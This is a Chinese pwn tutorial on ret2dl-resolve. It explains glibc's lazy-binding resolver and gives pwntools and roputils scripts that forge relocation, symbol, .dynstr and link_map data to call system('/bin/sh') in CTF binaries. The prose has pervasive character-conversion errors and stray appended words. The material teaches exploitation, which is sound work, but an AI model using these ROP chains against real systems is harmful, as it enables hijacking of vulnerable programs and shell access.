Linux pwn入門教程(10)——針對函數重定位流程的幾種攻擊

做者:Tangerine@SAINTSEC

本系列的最後一篇 感謝各位看客的支持 感謝原做者的付出
一直以來都有讀者向筆者諮詢教程系列問題,奈何該系列並不是筆者所寫[筆者僅爲代發]且筆者功底薄弱,故沒法解答,望見諒
若有關於該系列教程的疑問建議聯繫論壇的原做者ID:Tangerinephp

0x00 got表、plt表與延遲綁定

在以前的章節中,咱們無數次提到過got表和plt表這兩個結構。這兩個表有什麼不一樣?爲何調用函數要通過這兩個表?ret2dl-resolve與這些內容又有什麼關係呢?本節咱們將經過調試和「考古」來回答這些問題。
咱們先選擇程序~/XMAN 2016-level3/level3進行實驗。這個程序在main函數中和vulnerable_function中都調用了write函數,咱們分別在兩個call _write和一個call _read上下斷點,調試觀察發生了什麼。
調試 啓動後程序斷在第一個call _write

此時咱們按F7跟進函數,發現EIP跳到了.plt表上,從旁邊的箭頭咱們能夠看到這個jmp指向了後面的push 18h; jmp loc_8048300

咱們繼續F7執行到jmp loc_8048300發生跳轉,發現這邊又是一個push和一個jmp,這段代碼也在.plt上。

一樣的,咱們直接執行到jmp執行完,發現程序跳轉到了ld_2.24.so上,這個地址是loc_F7F5D010

到這裏,有些人可能已經發現了不對勁。剛剛的指令明明是jmp ds:off_804a008,這個F7F5D010是從哪裏冒出來的呢?其實這行jmp的意思並非跳轉到地址0x0804a008執行代碼,而是跳轉到地址0x0804a008中保存的地址處。同理,一開始的jmp ds:off_804a018也不是跳轉到地址0x0804a018.OK,咱們來看一下這兩個地址裏保存了什麼。

回到call _write F7跟進後的那張圖,跟進後的第一條指令是jmp ds:off_804a018,這個地址位於.got.plt中。咱們看到其保存的內容是loc_8048346,後面還跟着一個DATA XREF:_write↑r. 說明這是一個跟write函數相關的代碼引用的這個地址,上面的有一個一樣的read也說明了這一點。而jmp ds:0ff_804a008也是跳到了0x0804a008保存的地址loc_F7F5D010處。
回到剛剛的eip,咱們繼續F8單步往下走,執行到retn 0Ch,繼續往下執行就到了write函數的真正地址


如今咱們能夠概括出call write的執行流程以下圖:

而後咱們F9到斷在call _read,發現其流程也和上圖差很少,惟一的區別在於addr1和push num中的數字不同,call _read時push的數字是0

接下來咱們讓程序執行到第二個call _write,F7跟進後發現jmp ds:0ff_804a018旁邊的箭頭再也不指向下面的push 18h

咱們查看.got.plt,發現其內容已經直接變成了write函數在內存中的真實地址。

由此咱們能夠得出一個結論,只有某個庫函數第一次被調用時纔會經歷一系列繁瑣的過程,以後的調用會直接跳轉到其對應的地址。那麼程序爲何要這麼設計呢?
要想回答這個問題,首先咱們得從動態連接提及。爲了減小存儲器浪費,現代操做系統支持動態連接特性。即不是在程序編譯的時候就把外部的庫函數編譯進去,而是在運行時再把包含有對應函數的庫加載到內存裏。因爲內存空間有限,選用函數庫的組合無限,顯然程序不可能在運行以前就知道本身用到的函數會在哪一個地址上。好比說對於libc.so來講,咱們要求把它加載到地址0x1000處,A程序只引用了libc.so,從理論上來講這個要求不難辦到。可是對於用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序來講,0x1000這個地址可能就被liba.so等庫佔據了。所以,程序在運行時碰到了外部符號,就須要去找到它們真正的內存地址,這個過程被稱爲重定位。爲了安全,現代操做系統的設計要求代碼所在的內存必須是不可修改的,那麼諸如call read一類的指令即沒辦法在編譯階段直接指向read函數所在地址,又沒辦法在運行時修改爲read函數所在地址,怎麼保證CPU在運行到這行指令時能正確跳到read函數呢?這就須要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,過程連接表)進行輔助了。
正如咱們剛剛分析過的流程,在延遲加載的狀況下,每一個外部函數的got表都會被初始化成plt表中對應項的地址。當call指令執行時,EIP直接跳轉到plt表的一個jmp,這個jmp直接指向對應的got表地址,從這個地址取值。此時這個jmp會跳到保存好的,plt表中對應項的地址,在這裏把每一個函數重定位過程當中惟一的不一樣點,即一個數字入棧(本例子中write是18h,read是0,對於單個程序來講,這個數字是不變的),而後push got[1]並跳轉到got[2]保存的地址。在這個地址中對函數進行了重定位,而且修改got表爲真正的函數地址。當第二次調用同一個函數的時候,call仍然使EIP跳轉到plt表的同一個jmp,不一樣的是這回從got表取值取到的是真正的地址,從而避免重複進行重定位。html

0x01 符號解析的過程當中發生了什麼?

咱們經過調試已經大概搞清楚got表,plt表和重定位的流程了,可是做爲一名攻擊者來講,只瞭解這些東西並不夠。ret2dl-resolve的核心原理是攻擊符號重定位流程,使其解析庫中存在的任意函數地址,從而實現got表的劫持。爲了完成這一目標,咱們就必須得深刻符號解析的細節,尋找整個解析流程中的潛在攻擊點。咱們能夠在https://ftp.gnu.org/gnu/glibc/下載到glibc源碼,這裏我用了glibc-2.27版本的源碼。
咱們回到程序跳轉到ld_2.24.so的部分,這一段的源碼是用匯編實現的,源碼路徑爲glibc/sysdeps/i386/dl-trampoline.S(64位把i386改成x86_64),其主要代碼以下:python

        .text
                .globl _dl_runtime_resolve
                .type _dl_runtime_resolve, @function                 cfi_startproc                 .align 16         _dl_runtime_resolve:                 cfi_adjust_cfa_offset (8)                 pushl %eax                # Preserve registers otherwise clobbered.                 cfi_adjust_cfa_offset (4)                 pushl %ecx                 cfi_adjust_cfa_offset (4)                 pushl %edx                 cfi_adjust_cfa_offset (4)                 movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note                 movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.                 call _dl_fixup                # Call resolver.                 popl %edx                # Get register content back.                 cfi_adjust_cfa_offset (-4)                 movl (%esp), %ecx                 movl %eax, (%esp)        # Store the function address.                 movl 4(%esp), %eax                 ret $12                        # Jump to function address.                 cfi_endproc                 .size _dl_runtime_resolve, .-_dl_runtime_resolve

其採用了GNU風格的語法,可讀性比較差,咱們對應到IDA中的反彙編結果中修正符號以下

_dl_fixup的實現位於glibc/elf/dl-runtime.c,咱們首先來看一下函數的參數列表linux

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS            ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif            struct link_map *__unbounded l, ElfW(Word) reloc_arg)

忽略掉宏定義部分,咱們能夠看到_dl_fixup接收兩個參數,link_map類型的指針l對應了push進去的got[1]reloc_arg對應了push進去的數字。因爲link_map *都是同樣的,不一樣的函數差異只在於reloc_arg部分。咱們繼續追蹤reloc_arg這個參數的流向。
若是你真的閱讀了源碼,你會發現這個函數裏頭找不到reloc_arg,那麼這個參數是用不着了嗎?不是的,咱們往上面看,會看到一個宏定義nginx

#ifndef reloc_offset # define reloc_offset reloc_arg # define reloc_index  reloc_arg / sizeof (PLTREL) #endif reloc_offset在函數開頭聲明變量時出現了。   const ElfW(Sym) *const symtab     = (const void *) D_PTR (l, l_info[DT_SYMTAB]);   const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);   const PLTREL *const reloc     = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);   const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];   const ElfW(Sym) *refsym = sym;   void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);   lookup_t result;   DL_FIXUP_VALUE_TYPE value;

D_PTR是一個宏定義,位於glibc/sysdeps/generic/ldsodefs.h中,用於經過link_map結構體尋址。這幾行代碼分別是尋找並保存symtab, strtab的首地址和利用參數reloc_offset尋找對應的PLTREL結構體項,而後會利用這個結構體項reloc尋找symtab中的項sym和一個rel_addr.咱們先來看看這個結構體的定義。這個結構體定義在glibc/elf/elf.h中,32位下該結構體爲git

typedef struct {   Elf32_Addr        r_offset;                /* Address */   Elf32_Word        r_info;                        /* Relocation type and symbol index */ } Elf32_Rel;

這個結構體中有兩個成員變量,其中r_offset參與了初始化變量rel_addr,這個變量在_dl_fixup的最後return處做爲函數elf_machine_fixup_plt的參數傳入,r_offset實際上就是函數對應的got表項地址。另外一個參數r_info參與了初始化變量sym和一些校驗,而sym和其成員變量會做爲參數傳遞給函數_dl_lookup_symbol_x和宏DL_FIXUP_MAKE_VALUE中,顯然咱們必須關注一下它。不過首先咱們得看一下reloc->r_info參與的其餘部分代碼。
首先咱們看到這麼一行代碼github

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

這行代碼用了一大堆宏,ELFW宏用來拼接字符串,在這裏其實是爲了自動兼容32和64位,R_TYPE和前面出現過的R_SYM定義以下:算法

#define ELF32_R_SYM(i) ((i)>>8) #define ELF32_R_TYPE(i) ((unsigned char)(i)) #define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t)) 因此這一行代碼取reloc->r_info的最後一個字節,判斷是否爲ELF_MACHINE_JMP_SLOT,即7.咱們繼續往下看       if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)         {           const ElfW(Half) *vernum =             (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);           ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;           version = &l->l_versions[ndx];           if (version->hash == 0)             version = NULL;         }

這段代碼使用reloc->r_info最終給version進行了賦值,這裏咱們能夠看出reloc->r_info的高24位異常可能致使ndx數值異常,進而在version = &l->l_versions[ndx]時可能會引發數組越界從而使程序崩潰。
看完了這一段,咱們回頭看一下變量sym, sym一樣使用了ELFW(R_SYM)(reloc->r_info)做爲下標進行賦值。shell

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

Elfw(Sym)會被處理成Elf32_Sym,定義在glibc/elf/elf.h,結構體以下:數組

typedef struct {   Elf32_Word        st_name;                /* Symbol name (string tbl index) */   Elf32_Addr        st_value;                /* Symbol value */   Elf32_Word        st_size;                /* Symbol size */   unsigned char        st_info;                /* Symbol type and binding */   unsigned char        st_other;                /* Symbol visibility */   Elf32_Section        st_shndx;                /* Section index */ } Elf32_Sym;

這裏面的成員變量st_other和st_name都被用到了

  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)     {       ………………       result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);           ……………… }

這裏省略了部分代碼,咱們能夠從函數名判斷出,只有這個if成立,真正進行重定位的函數_dl_lookup_symbol_x纔會被執行。ELFW(ST_VISIBILITY)會被解析成宏定義

define ELF32_ST_VISIBILITY(o)        ((o) & 0x03)

位於glibc/elf/elf.h,因此咱們得知這邊的sym->st_other後兩位必須爲0。
咱們能夠看到傳入_dl_lookup_symbol_x函數的參數中,第一個參數爲strtab+sym->st_name,第三個參數是sym指針的引用。strtab在函數的開頭已經賦值爲strtab的首地址,查閱資料可知strtab是ELF文件中的一個字符串表,內容包括了.symtab和.debug節的符號表等等。咱們根據readelf給出的偏移來看一下這個表。


能夠看到這裏面是有read、write、__libc_start_main等函數的名字的。那麼函數_dl_lookup_symbol_x爲何要接收這個名字呢?咱們進入這個函數,發現這個函數的代碼有點多。考慮到咱們關心的是重定位過程當中不一樣的reloc_arg是如何影響函數的重定位的,咱們在此不分析其細節。

_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,                      const ElfW(Sym) **ref,                      struct r_scope_elem *symbol_scope[],                      const struct r_found_version *version,                      int type_class, int flags, struct link_map *skip_map) {   const uint_fast32_t new_hash = dl_new_hash (undef_name);   unsigned long int old_hash = 0xffffffff;   struct sym_val current_value = { NULL, NULL };   .............   /* Search the relevant loaded objects for a definition.  */   for (size_t start = i; *scope != NULL; start = 0, ++scope)     {       int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,                              ¤t_value, *scope, start, version, flags,                              skip_map, type_class, undef_map);       if (res > 0)         break;       if (__glibc_unlikely (res < 0) && skip_map == NULL)         {           /* Oh, oh.  The file named in the relocation entry does not              contain the needed symbol.  This code is never reached              for unversioned lookups.  */           assert (version != NULL);           const char *reference_name = undef_map ? undef_map->l_name : "";           struct dl_exception exception;           /* XXX We cannot translate the message.  */           _dl_exception_create_format             (&exception, DSO_FILENAME (reference_name),              "symbol %s version %s not defined in file %s"              " with link time reference%s",              undef_name, version->name, version->filename,              res == -2 ? " (no version symbols)" : "");           _dl_signal_cexception (0, &exception, N_("relocation error"));           _dl_exception_free (&exception);           *ref = NULL;           return 0;         }     ............... }

咱們看到函數名字會被計算hash,這個hash會傳遞給do_lookup_x,從函數名和下面對分支的註釋咱們能夠看出來do_lookup_x纔是真正進行重定位的函數,並且其返回值res大於0說明尋找到了函數的地址。咱們繼續進入do_lookup_x,發現其主要是使用用strtab + sym->st_name計算出來的參數new_hash進行計算,與strtab + sym->st_name,sym等並無什麼關係。對比do_lookup_x的參數列表和傳入的參數,咱們能夠發現其結果保存在current_value中。

do_lookup_x:
static int __attribute_noinline__ do_lookup_x (const char *undef_name, uint_fast32_t new_hash,              unsigned long int *old_hash, const ElfW(Sym) *ref,              struct sym_val *result, struct r_scope_elem *scope, size_t i,              const struct r_found_version *const version, int flags,              struct link_map *skip, int type_class, struct link_map *undef_map) _dl_lookup_symbol_x: int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,                              ¤t_value, *scope, start, version, flags,                              skip_map, type_class, undef_map);

至此,咱們已經分析完了reloc_arg對函數重定位的影響,咱們用下面這張圖總結一下整個影響過程:

咱們以write函數爲例進行調試分析,write的reloc_arg是0x18

使用readelf查看程序信息,找到JMPREL在0x080482b0

事實上該信息存儲在.rel.plt節裏

咱們找到這塊內存,按照結構體格式解析數據,可知r->offset = 0x0804a018 , r->info=407,與readelf顯示的.rel.plt數據吻合。


因此是symtab的第四項,咱們能夠經過#include<elf.h>導入該結構體後使用sizeof算出Elf32_Sym大小爲0x10,經過上面readelf顯示的節頭信息咱們發現symtab並不會映射到內存中,但是重定位是在運行過程當中進行的,顯然在內存中會有相關數據,這就產生了矛盾。經過查閱資料咱們能夠得知其實symtab有個子集dymsym,在節頭表中顯示其位於080481cc

對照結構體,st_name是0x31,接下來咱們去strtab找,一樣的,strtab也有個子集dynstr,地址在0804822c.加上0x31後爲0804825d

0x02 32位下的ret2dl-resolve

經過一系列冗長的源碼閱讀+調試分析,咱們捋了一遍符號重定位的流程,如今咱們要站在攻擊者的角度看待這個流程了。從上面的分析結果中咱們知道其實最終影響解析的是函數的名字,那麼若是咱們強行把write改爲system呢?咱們來試一下。

咱們強行修改內存數據,而後繼續運行,發現劫持got表成功,此時write表項是system的地址。

那麼咱們是否是能夠修改dynstr裏面的數據呢?經過查看內存屬性,咱們很不幸地發現.rel.plt. .dynsym .dynstr所在的內存區域都不可寫。

這樣一來,咱們可以改變的就只有reloc_arg了。基於上面的分析,咱們的思路是在內存中僞造Elf32_Rel和Elf32_Sym兩個結構體,並手動傳遞reloc_arg使其指向咱們僞造的結構體,讓Elf32_Sym.st_name的偏移值指向預先放在內存中的字符串system完成攻擊。爲了地址可控,咱們首先進行棧劫持並跳轉到0x0804834B

爲此咱們必須在bss段構造一個新的棧,以便棧劫持完成後程序不會崩潰。ROP鏈以下:

#!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'i386') start_addr = 0x08048350 read_plt = 0x08048310 write_plt = 0x08048340 write_plt_without_push_reloc_arg = 0x0804834b leave_ret = 0x08048482 pop3_ret = 0x08048519 pop_ebp_ret = 0x0804851b new_stack_addr = 0x0804a200                                                        #bss與got表相鄰,_dl_fixup中會下降棧後傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯 io = remote('172.17.0.2', 10001) payload = "" payload += 'A'*140                                                                        #padding payload += p32(read_plt)                                                        #調用read函數往新棧寫值,防止leave; retn到新棧後出現ret到地址0上致使出錯 payload += p32(pop3_ret)                                                        #read函數返回後從棧上彈出三個參數 payload += p32(0)                                                                        #fd = 0 payload += p32(new_stack_addr)                                                #buf = new_stack_addr payload += p32(0x400)                                                                        #size = 0x400 payload += p32(pop_ebp_ret)                                                        #把新棧頂給ebp,接下來利用leave指令把ebp的值賦給esp payload += p32(new_stack_addr)                                 payload += p32(leave_ret) io.send(payload)                                                                        #此時程序會停在咱們使用payload調用的read函數處等待輸入數據 payload = "" payload += "AAAA"                                                                        #leave = mov esp, ebp; pop ebp,佔位用於pop ebp payload += p32(write_plt_without_push_reloc_arg)        #按照咱們的測試方案,強制程序對write函數重定位,reloc_arg由咱們手動放入棧中 payload += p32(0x18)                                                                #手動傳遞write的reloc_arg,調用write payload += p32(start_addr)                                                        #函數執行完後返回start payload += p32(1)                                                                        #fd = 1 payload += p32(0x08048000)                                                        #buf = ELF程序加載開頭,write會輸出ELF payload += p32(4)                                                                        #size = 4 io.send(payload)

測試結果:

咱們能夠看到調用成功了。咱們發現其實跳轉到write_plt_without_push_reloc_arg上,仍是會直接跳轉到PLT[0],因此咱們能夠把這個地址改爲PLT[0]的地址。

接下來咱們開始着手在新的棧上僞造兩個結構體:

write_got = 0x0804a018         new_stack_addr = 0x0804a500                        #bss與got表相鄰,_dl_fixup中會下降棧後傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯 relplt_addr = 0x080482b0                        #.rel.plt的首地址,經過計算首地址和新棧上咱們僞造的結構體Elf32_Rel偏移構造reloc_arg dymsym_addr = 0x080481cc                        #.dynsym的首地址,經過計算首地址和新棧上咱們僞造的Elf32_Sym結構體偏移構造Elf32_Rel.r_info dynstr_addr = 0x0804822c                        #.dynstr的首地址,經過計算首地址和新棧上咱們僞造的函數名字符串system偏移構造Elf32_Sym.st_name fake_Elf32_Rel_addr = new_stack_addr + 0x50        #在新棧上選擇一塊空間放僞造的Elf32_Rel結構體,結構體大小爲8字節 fake_Elf32_Sym_addr = new_stack_addr + 0x5c        #在僞造的Elf32_Rel結構體後面接上僞造的Elf32_Sym結構體,結構體大小爲0x10字節 binsh_addr = new_stack_addr + 0x74                        #把/bin/sh\x00字符串放在最後面 fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr        #計算僞造的reloc_arg fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #僞造r_info,偏移要計算成下標,除以Elf32_Sym的大小,最後一字節爲0x7 fake_st_name = new_stack_addr + 0x6c - dynstr_addr                #僞造的Elf32_Sym結構體後面接上僞造的函數名字符串system fake_Elf32_Rel_data = "" fake_Elf32_Rel_data += p32(write_got)                                        #r_offset = write_got,以避免重定位完畢回填got表的時候出現非法內存訪問錯誤 fake_Elf32_Rel_data += p32(fake_r_info) fake_Elf32_Sym_data = "" fake_Elf32_Sym_data += p32(fake_st_name) fake_Elf32_Sym_data += p32(0)                                                        #後面的數據直接套用write函數的Elf32_Sym結構體,具體成員變量含義自行搜索 fake_Elf32_Sym_data += p32(0) fake_Elf32_Sym_data += p32(0x12)

咱們把新棧的地址向後調整了一點,由於在調試深刻到_dl_fixup的時候發現某行指令試圖對got表寫入,而got表正好就在bss的前面,緊接着bss,爲了防止運行出錯,咱們進行了調整。此外,須要注意的是僞造的兩個結構體都要與其首地址保持對齊。完成告終構體僞造以後,咱們將這些內容放在新棧中,調試的時候確認整個僞造的鏈條正確,pwn it!

0x03 64位下的ret2dl-resolve

與32位不一樣,在64位下,雖然_dl_fixup函數的邏輯沒有改變,可是許多相關的變量和結構體都有了變化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定義了
reloc_offset和reloc_index

#define reloc_offset reloc_arg * sizeof (PLTREL) #define reloc_index  reloc_arg #include <elf/dl-runtime.c>

咱們能夠能夠推斷出reloc_arg已經不像32位中是做爲一個偏移值存在,而是做爲一個數組下標存在。此外,兩個關鍵的結構體也作出了調整:Elf32_Rel升級爲Elf64_Rela, Elf32_Sym升級爲Elf64_Sym,這兩個結構體的大小均爲0x18

typedef struct {   Elf64_Addr        r_offset;                /* Address */   Elf64_Xword        r_info;                        /* Relocation type and symbol index */   Elf64_Sxword        r_addend;                /* Addend */ } Elf64_Rela; typedef struct {   Elf64_Word        st_name;                /* Symbol name (string tbl index) */   unsigned char        st_info;                /* Symbol type and binding */   unsigned char st_other;                /* Symbol visibility */   Elf64_Section        st_shndx;                /* Section index */   Elf64_Addr        st_value;                /* Symbol value */   Elf64_Xword        st_size;                /* Symbol size */ } Elf64_Sym;

此外,_dl_runtime_resolve的實現位於glibc/sysdeps/x86_64/dl-trampoline.h中,其代碼加了宏定義以後可讀性不好,核心內容仍然是調用_dl_fixup,此處再也不分析。
最後,在64位下進行ret2dl-resolve還有一個問題,即咱們在分析源碼時提到可是應用中卻忽略的一個潛在數組越界:

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)         {           const ElfW(Half) *vernum =             (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);           ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;           version = &l->l_versions[ndx];           if (version->hash == 0)             version = NULL;         }

這裏會使用reloc->r_info的高位做爲下標產生了ndx,而後在link_map的成員數組變量l_versions中取值做爲version。爲了在僞造的時候正肯定位到sym,r_info必然會較大。在32位的狀況下,因爲程序的映射較爲緊湊, reloc->r_info的高24位致使vernum數組越界的狀況較少。因爲程序映射的緣由,vernum數組首地址後面有大片內存都是以0x00填充,攻擊致使reloc->r_info的高24位過大後從vernum數組中獲取到的ndx有很大機率是0,從而因爲ndx異常致使l_versions數組越界的概率也較低。咱們能夠對照源碼,IDA調試進入_dl_fixup後,將斷點下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。

中斷後切換到彙編

單步運行到movzx edx, word ptr [edx+esi*2]一行

觀察edx的值,此處爲0x0804827c, edx+esi*2 = 0x08048284,查看程序的內存映射狀況

一直到地址0x0804b000都是可讀的,因此esi,也就是reloc->r_info的高24位最高能夠達到0x16c2,考慮到.dymsym與.bss的間隔,這個容許範圍基本夠用。繼續往下看

此時的edi = 0xf7fa9918,[edi+170h]保存的值爲0Xf7f7eb08,其後連續可讀的地址最大值爲0xf7faa000,所以mov ecx, [edx+4]一行,按照以前幾行彙編代碼的算法,只要取出的edx值不大於(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f,version = &l->l_versions[ndx];就不會產生非法內存訪問。仔細觀察會發現0x0804827c~0x0804b000之間幾乎全部的2字節word型數據都符合要求。所以,大部分狀況下32位的題目不多會產生ret2dl-resolve在此處形成的段錯誤。
而對於64位,咱們用相同的方法調試本節的例子~/XMAN 2016-level3_64/level3_64會發現因爲咱們經常使用的bss段被映射到了0x600000以後,而dynsym的地址仍然在0x400000附近,r_info的高位將會變得很大,再加上此時vernum也在0x400000附近,vernum[ELFW(R_SYM) (reloc->r_info)]將會有很大機率落在在0x400000~0x600000間的不可讀區域

從而產生一個段錯誤。爲了防止出現這個錯誤,咱們須要修改判斷流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]爲0,從而繞開這塊代碼。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(對應的,32位下爲link_map+0xe4),因此咱們須要泄露link_map地址並將link_map置爲0
64位下的ret2dl-resolve與32位下的ret2dl-resolve除了上述一些變化以外,exp構造流程並無什麼區別,在此處再也不贅述,詳細腳本可見於附件。
理論上來講,ret2dl-resolve對於全部存在棧溢出,沒有Full RELRO(若是開啓了Full RELRO,全部符號將會在運行時被所有解析,也就不存在_dl_fixup了)且有一個已知肯定的棧地址(能夠經過stack pivot劫持棧到已知地址)的程序都適用。可是咱們從上面的64位ret2dl-resolve中能夠看到其必須泄露link_map的地址才能完成利用,對於32位程序來講也可能出現一樣的問題。若是出現了不存在輸出的棧溢出程序,咱們就沒辦法用這種套路了,那咱們該怎麼辦呢?接下來的幾節咱們將介紹一些不依賴泄露的攻擊手段。

0x04 使用ROPutils簡化攻擊步驟

從上面32位和64位的攻擊腳本咱們不難看出來,雖然構造payload的過程很繁瑣,可是實際上大部分代碼的格式都是固定的,咱們徹底能夠本身把它們封裝成一個函數進行調用。固然,咱們還能夠當一把懶人,直接用別人寫好的庫。是的,我說的就是一個有趣的,沒有使用說明的項目ROPutils(https://github.com/inaz2/roputils)
這個python庫的做者彷佛挺懶的,不只不寫文檔,並且代碼也好幾年沒更新了。不過這並不妨礙其便利性。咱們直接看代碼roputils.py,其大部分咱們會用到的東西都在ROP*和FormatStr這幾個類中,不過ROPutils也提供了其餘的輔助工具類和函數。固然,在本節中咱們只會介紹和ret2dl-resolve相關的一些函數的用法,不作源碼分析和過多的介紹。
咱們能夠直接把roputils.py和本身寫的腳本放在同一個文件夾下以使用其中的功能。以~/XMAN 2016-level3/level4爲例。其實咱們會發現fake dl-resolve並不必定須要進行棧劫持,咱們只要確保僞造的link_map所在地址已知,且地址能被做爲參數傳入_dl_fixup便可。咱們先來構造一個棧溢出,調用read讀取僞造的link_map到.bss中。

from roputils import * #爲了防止命名衝突,這個腳本所有隻使用roputils中的代碼。若是須要使用pwntools中的代碼須要在import roputils前import pwn,以使得roputils中的ROP覆蓋掉pwntools中的ROP rop = ROP('./level4')                        #ROP繼承了ELF類,下面的section, got, plt都是調用父類的方法 bss_addr = rop.section('.bss') read_got = rop.got('read') read_plt = rop.plt('read') offset = 140 io = Proc(host = '172.17.0.2', port = 10001)        #roputils中這裏須要顯式指定參數名 buf = rop.fill(offset)                        #fill用於生成填充數據 buf += rop.call(read_plt, 0, bss_addr, 0x100)        #call能夠經過某個函數的plt地址方便地進行調用 buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr)        #dl_resolve_call有一個參數base和一個可選參數列表*args。base爲僞造的link_map所在地址,*args爲要傳遞給被劫持調用的函數的參數。這裏咱們將"/bin/sh\x00"放置在bss_addr處,link_map放置在bss_addr+0x20處 io.write(buf) 而後咱們直接用dl_resolve_data生成僞造的link_map併發送 buf = rop.string('/bin/sh')                buf += rop.fill(0x20, buf)                #若是fill的第二個參數被指定,至關於將第二個參數命名的字符串填充至指定長度 buf += rop.dl_resolve_data(bss_addr+0x20, 'system')        #dl_resolve_data的參數也很是簡單,第一個參數是僞造的link_map首地址,第二個參數是要僞造的函數名 buf += rop.fill(0x100, buf) io.write(buf)

而後咱們直接使用io.interact(0)就能夠打開一個shell了。

關於roputils的用法能夠參考其github倉庫中的examples,其餘練習程序再也不提供對應的roputils寫法的腳本。

0x05 在.dynamic節中僞造.dynstr節地址

在32位的ret2dl-resolve一節中咱們已經發現,ELF開發小組爲了安全,設置.rel.plt. .dynsym .dynstr三個重定位相關的節區均爲不可寫。然而ELF文件中有一個.dynamic節,其中保存了動態連接器所須要的基本信息,而咱們的.dynstr也屬於這些基本信息中的一個。

更棒的是,若是一個程序沒有開啓RELRO(即checksec顯示No RELRO).dynamic節是可寫的。(Partial RELRO和Full RELRO會在程序加載完成時設置.dynamic爲不可寫,所以儘管readelf顯示其爲可寫也不可相信)


.dynamic節中只包含Elf32/64_Dyn結構體類型的數據,這兩個結構體定義在glibc/elf/elf.h下

typedef struct {   Elf32_Sword        d_tag;                        /* Dynamic entry type */   union     {       Elf32_Word d_val;                        /* Integer value */       Elf32_Addr d_ptr;                        /* Address value */     } d_un; } Elf32_Dyn; typedef struct {   Elf64_Sxword        d_tag;                        /* Dynamic entry type */   union     {       Elf64_Xword d_val;                /* Integer value */       Elf64_Addr d_ptr;                        /* Address value */     } d_un; } Elf64_Dyn;

從結構體的定義咱們能夠看出其由一個d_tag和一個union類型組成,union中的兩個變量會隨着不一樣的d_tag進行切換。咱們經過readelf看一下.dynstr的d_tag

其標記爲0x05,union變量顯示爲值0x0804820c。咱們看一下內存中.dynamic節中.dynstr對應的Elf32_Dyn結構體和指針指向的數據。


所以,咱們只須要在棧溢出後程序中仍然存在至少一個未執行過的函數,咱們就能夠修改.dynstr對應結構體中的地址,從而使其指向咱們僞造的.dynstr數據,進而在解析的時候解析出咱們想要的函數。
咱們以32位的程序爲例,打開~/fake_dynstr32/fake_dynstr32


這個程序知足了咱們須要的一切條件——No RELRO,棧溢出發生在vuln中,exit不會被調用,所以咱們能夠用上述方法進行攻擊。首先咱們把全部的字符串從裏面拿出來,而且把exit替換成system

call_exit_addr = 0x08048495
read_plt = 0x08048300
start_addr = 0x08048350
dynstr_d_ptr_address = 0x080496a4
fake_dynstr_address = 0x08049800
fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"

注意因爲memset的一部分也會被system覆蓋掉,咱們應該把剩餘的部分設置爲\x00,防止後面的符號偏移值錯誤。memset因爲是在read函數運行以前運行的,因此它的符號已經沒用了,能夠被覆蓋掉。
接下來咱們構造ROP鏈依次寫入僞造的dynstr字符串和其保存在Elf32_Dyn中的地址。

io = remote("172.17.0.2", 10001) payload = "" payload += 'A'*22                                                #padding payload += p32(read_plt)                                #修改.dynstr對應的Elf32_Dyn.d_ptr payload += p32(start_addr)                                 payload += p32(0)                                                 payload += p32(dynstr_d_ptr_address)         payload += p32(4)                                                 io.send(payload) sleep(0.5) io.send(p32(fake_dynstr_address))                #新的.dynstr地址 sleep(0.5) payload = "" payload += 'A'*22                                                #padding payload += p32(read_plt)                                #在內存中僞造一塊.dynstr字符串 payload += p32(start_addr)                                 payload += p32(0)                payload += p32(fake_dynstr_address) payload += p32(len(fake_dynstr_data)+8)        #長度是.dynstr加上8,把"/bin/sh\x00"接在後面 io.send(payload) sleep(0.5) io.send(fake_dynstr_data+"/bin/sh\x00")        #把/bin/sh\x00接在後面 sleep(0.5)

此時還剩下函數exit未被調用,咱們經過前面的步驟僞造了.dynstr,將其中的exit改爲了system,所以根據_dl_fixup的原理,此時函數將會解析system的首地址並返回到system上。

64位下的利用方式與32位下並無區別,此處再也不進行詳細分析。

0x06 fake link_map

因爲各類保護方式的普及,如今能碰到No RELRO的程序已經不多了,所以上節所述的攻擊方式能用上的機會並很少,因此這節咱們介紹另一種方式——經過僞造link_map結構體進行攻擊。
